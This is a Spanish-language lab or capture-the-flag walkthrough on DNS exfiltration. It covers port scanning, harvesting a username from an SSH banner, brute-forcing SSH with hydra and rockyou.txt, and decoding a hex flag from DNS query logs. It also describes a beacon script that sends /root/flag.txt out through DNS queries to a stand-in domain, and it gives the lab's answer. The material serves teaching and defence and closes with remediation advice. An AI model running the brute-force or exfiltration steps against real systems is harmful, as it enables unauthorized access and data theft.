Descripción del laboratorio
Un servidor de análisis de amenazas tiene el DNS activo y los logs de monitorización accesibles. El sistema ha detectado tráfico DNS anómalo. Tu misión: acceder a la máquina, analizar los logs del servidor DNS y recuperar los datos exfiltrados por el implante C2.
analystabc123Contexto: ¿Qué es la exfiltración DNS?
La exfiltración por DNS es una técnica usada por malware real, APTs y herramientas de red team para filtrar datos a través de un canal que habitualmente está permitido en firewalls corporativos. El tráfico DNS pocas veces está bloqueado.
El atacante codifica los datos como parte del nombre de dominio que consulta:
<DATOS_CODIFICADOS>.dominio-controlado-atacante.com
El servidor DNS del atacante recibe esa consulta y puede decodificar los datos aunque el tráfico HTTP/HTTPS esté completamente bloqueado. Esta técnica se usa en:
| Herramienta / Malware | Uso de DNS |
|---|---|
| Cobalt Strike | DNS beacon — check-in periódico con datos codificados en subdomains |
| DNScat2 | Túnel DNS completo bidireccional (shell interactiva) |
| Emotet / TrickBot | Exfiltración de credenciales y datos bancarios |
| APT29 / Cozy Bear | C2 via DNS TXT records para evadir detección |
En este laboratorio simulamos la perspectiva del defensor / analista forense: hay un implante activo en la máquina que exfiltra datos via DNS. Debes recuperar esos datos.
Explotación paso a paso
Escaneamos todos los puertos para descubrir la superficie de ataque:
nmap -sV -p- --min-rate 3000 <LAB_IP>
PORT STATE SERVICE VERSION 53/tcp open domain (custom DNS server) 2222/tcp open ssh OpenSSH 7.9p1 Debian
La presencia de un servidor DNS junto a SSH es inusual en una máquina de análisis. El puerto 53 abierto indica que algo está usando DNS activamente — posible canal encubierto.
nmap -sU -p 53 <LAB_IP>El servidor SSH está configurado con un banner de bienvenida visible antes de introducir credenciales. Lo consultamos con cualquier usuario ficticio:
ssh guest@<LAB_IP> -p 2222
GhostLabs Threat Detection Platform v1.2
DNS monitoring: ACTIVE
Contact: analyst (security analyst)
guest@<LAB_IP>'s password:
El banner revela el nombre de usuario del administrador: analyst.
Pulsamos Ctrl+C para cancelar sin introducir contraseña.
Banner /etc/ssh/banner en sshd_config) es visible para cualquier cliente antes de enviar credenciales. Es una fuente habitual de enumeración en entornos reales.Con el usuario analyst identificado, lanzamos un ataque de diccionario:
hydra -l analyst -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
[2222][ssh] host: <LAB_IP> login: analyst password: abc123
Credenciales obtenidas: analyst / abc123
Nos conectamos por SSH:
ssh analyst@<LAB_IP> -p 2222
El MOTD nos da contexto inmediato:
GhostLabs TDP v1.2 — DNS monitoring active Anomalous DNS traffic detected from this host. Review monitoring logs for indicators of compromise.
Exploramos el home:
ls -la ~
-rw-r--r-- 1 analyst analyst 241 Apr 4 2026 README.txt
cat ~/README.txt
Threat Detection Platform — GhostLabs ALERTA: Se ha detectado trafico DNS anomalo desde este host. El sistema de monitorizacion ha registrado consultas sospechosas. Revisa /var/log/dns-queries.log para identificar los IOCs.
Revisamos el log del servidor DNS:
ls -la /var/log/dns-queries.log
-rw-r--r-- 1 root root 512 Apr 4 2026 /var/log/dns-queries.log
El fichero es world-readable. Lo abrimos:
cat /var/log/dns-queries.log
2026-04-04 12:00:03 | QUERY A | 47686f73744c6162737b646e355f337866316c5f64337433637433647d.data.leak.ghostlabs 2026-04-04 12:00:33 | QUERY A | 47686f73744c6162737b646e355f337866316c5f64337433637433647d.data.leak.ghostlabs 2026-04-04 12:01:03 | QUERY A | 47686f73744c6162737b646e355f337866316c5f64337433637433647d.data.leak.ghostlabs
Hay consultas periódicas (cada 30s) hacia *.data.leak.ghostlabs.
El subdomain es siempre el mismo string hexadecimal: los datos exfiltrados están
codificados en el nombre del dominio consultado,
no en la respuesta DNS.
Extraemos el subdomain hex de la primera entrada del log:
grep "leak.ghostlabs" /var/log/dns-queries.log | head -1 | awk '{print $NF}' | cut -d. -f1
47686f73744c6162737b646e355f337866316c5f64337433637433647d
Los datos están codificados en hexadecimal. Los decodificamos:
Opción A — Python3 (directo):
python3 -c "print(bytes.fromhex('47686f73744c6162737b646e355f337866316c5f64337433637433647d').decode())"
Opción B — Una sola línea desde el log:
grep "leak.ghostlabs" /var/log/dns-queries.log | head -1 \
| awk '{print $NF}' | cut -d. -f1 \
| python3 -c "import sys; print(bytes.fromhex(sys.stdin.read().strip()).decode())"
¿Cómo funciona el mecanismo?
| Elemento | Descripción |
|---|---|
| beacon.sh | Loop infinito (root): lee /root/flag.txt, hex-encode, lanza
dig @127.0.0.1 <HEX>.data.leak.ghostlabs cada 30s |
| dns_server.py | Python puro, UDP+TCP/53. Parsea el nombre de la consulta, loguea en
/var/log/dns-queries.log, responde NXDOMAIN |
| dns-queries.log | World-readable. Contiene timestamp, tipo de query y nombre completo consultado |
| Codificación hex | .encode().hex() — 29 chars → 58 hex chars, válido como DNS label (máx 63) |
DNS exfiltration real vs. este laboratorio:
| Aspecto | Real (APT/C2) | Este laboratorio |
|---|---|---|
| Servidor DNS atacante | Controlado remotamente (VPS/cloud) | Simulado localmente (127.0.0.1) |
| Destino de consultas | Dominio público del atacante | data.leak.ghostlabs (ficticio) |
| Interceptación | PCAP, proxy DNS, RPZ | Log local world-readable |
| Codificación | Base64, hex, binario | Hexadecimal |
| Frecuencia | Variable (jitter para evadir detección) | Fija 30s (simplicidad) |
Remediación
| Medida | Descripción |
|---|---|
| DNS Firewall / RPZ | Response Policy Zones — bloquear dominios de C2 conocidos |
| Anomaly detection | Subdomain > 40 chars es anómalo; alertar en SIEM |
| Frecuencia de queries | Beacons tienen cadencia regular; detectar con análisis de series temporales |
| DNS logging centralizado | Enviar logs DNS a SIEM para correlación con otros IOCs |
| Segmentación | Hosts internos no deben resolver dominios externos directamente |
Herramientas utilizadas
| Herramienta | Uso |
|---|---|
| nmap | Descubrimiento de puertos 53/tcp y 2222/tcp |
| ssh | Enumeración de banner pre-autenticación + acceso inicial |
| hydra | Fuerza bruta SSH con rockyou.txt |
| grep / awk / cut | Extracción del subdomain hex del log DNS |
| python3 | Decodificación hex → ASCII |